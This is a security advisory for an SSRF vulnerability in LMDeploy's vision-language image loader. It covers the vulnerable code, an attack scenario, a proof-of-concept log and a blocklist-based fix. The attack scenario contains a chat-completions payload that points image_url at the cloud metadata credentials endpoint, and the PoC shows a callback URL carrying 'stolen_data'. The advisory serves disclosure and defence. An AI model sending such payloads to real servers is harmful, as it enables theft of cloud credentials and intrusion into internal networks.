PYSEC-2026-2607

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Import Source
https://github.com/pypa/advisory-database/blob/main/vulns/lmdeploy/PYSEC-2026-2607.yaml
JSON Data
https://api.osv.dev/v1/vulns/PYSEC-2026-2607
Aliases
Published
2026-07-13T15:02:52.394411Z
Modified
2026-07-13T16:32:04.931499046Z
Severity
  • 7.5 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N CVSS Calculator
Summary
LMDeploy has Server-Side Request Forgery (SSRF) via Vision-Language Image Loading
Details

Summary

A Server-Side Request Forgery (SSRF) vulnerability exists in LMDeploy's vision-language module. The load_image() function in lmdeploy/vl/utils.py fetches arbitrary URLs without validating internal/private IP addresses, allowing attackers to access cloud metadata services, internal networks, and sensitive resources.

Affected Versions

  • Tested on: main branch (2026-02-04)
  • Affected: All versions prior to 0.12.3

Vulnerable Code

File: lmdeploy/vl/utils.py (lines 64-67)

def load_image(image_url: Union[str, Image.Image]) -> Image.Image:
    # ...
    if image_url.startswith('http'):
        response = requests.get(image_url, headers=headers, timeout=FETCH_TIMEOUT)
        # NO VALIDATION OF URL/IP BEFORE REQUEST

Also affected: encode_image_base64() function (lines 26-29)

Root Cause

  1. No validation of URLs before fetching
  2. No blocklist for internal IPs (127.0.0.1, 169.254.x.x, 10.x.x.x, 192.168.x.x)
  3. Server binds to 0.0.0.0 by default (api_server.py line 1393)
  4. API keys disabled by default

Attack Scenario

  1. LMDeploy server deployed with vision-language model
  2. Attacker sends request to /v1/chat/completions with malicious image_url:

    POST /v1/chat/completions
    {
      "model": "internlm-xcomposer2",
      "messages": [{
        "role": "user", 
        "content": [
          {"type": "text", "text": "Describe this image"},
          {"type": "image_url", "image_url": {"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}}
        ]
      }]
    }
    
  3. Server fetches URL without validation

  4. Attacker receives cloud credentials

Proof of Concept

Verified Exploitation Result

╔═══════════════════════════════════════════════════════════════════════╗
║  LMDeploy SSRF Vulnerability - Proof of Concept                       ║
╚═══════════════════════════════════════════════════════════════════════╝

[1] Starting callback server on port 8889...
[2] Attacker URL: http://127.0.0.1:8889/SSRF_PROOF?stolen_data=AWS_SECRET_KEY
[3] Calling vulnerable load_image() function...

======================================================================
[+] SSRF CALLBACK RECEIVED!
======================================================================
    Time:       2026-02-04 16:10:57
    Path:       /SSRF_PROOF?stolen_data=AWS_SECRET_KEY
    Client:     127.0.0.1:51154
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)...
======================================================================

✅ SSRF VULNERABILITY CONFIRMED!

Impact

  • Cloud Credential Theft: Access AWS/GCP/Azure metadata APIs
  • Internal Service Access: Reach services not exposed to internet
  • Information Disclosure: Port scan internal networks
  • Lateral Movement: Pivot point for further attacks

Recommended Fix

from urllib.parse import urlparse
import ipaddress
import socket

BLOCKED_NETWORKS = [
    ipaddress.ip_network('127.0.0.0/8'),
    ipaddress.ip_network('10.0.0.0/8'),
    ipaddress.ip_network('172.16.0.0/12'),
    ipaddress.ip_network('192.168.0.0/16'),
    ipaddress.ip_network('169.254.0.0/16'),
]

def is_safe_url(url: str) -> bool:
    try:
        parsed = urlparse(url)
        if parsed.scheme not in ('http', 'https'):
            return False
        ip = socket.gethostbyname(parsed.hostname)
        ip_addr = ipaddress.ip_address(ip)
        return not any(ip_addr in network for network in BLOCKED_NETWORKS)
    except:
        return False

Credit

This vulnerability was discovered as part of Orca Security's research.

Researcher: Igor Stepansky
Organization: Orca Security
Emails: igor.stepansky@orca.security
iggy.p0pi@orca.security

References

Affected packages

PyPI / lmdeploy

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Last affected
0.12.2

Affected versions

0.*
0.0.10
0.0.11
0.0.12
0.0.13
0.0.14
0.1.0
0.2.0
0.2.1
0.2.2
0.2.3
0.2.4
0.2.5
0.2.6
0.3.0
0.4.0
0.4.1
0.4.2
0.5.0
0.5.1
0.5.2
0.5.2.post1
0.5.3
0.6.0a0
0.6.0
0.6.1
0.6.2
0.6.2.post1
0.6.3
0.6.4
0.6.5
0.7.0
0.7.0.post1
0.7.0.post2
0.7.0.post3
0.7.1
0.7.2
0.7.2.post1
0.7.3
0.8.0
0.9.0
0.9.1
0.9.2
0.9.2.post1
0.10.0
0.10.1
0.10.2
0.11.0
0.11.1
0.12.0
0.12.1
0.12.2

Database specific

source
"https://github.com/pypa/advisory-database/blob/main/vulns/lmdeploy/PYSEC-2026-2607.yaml"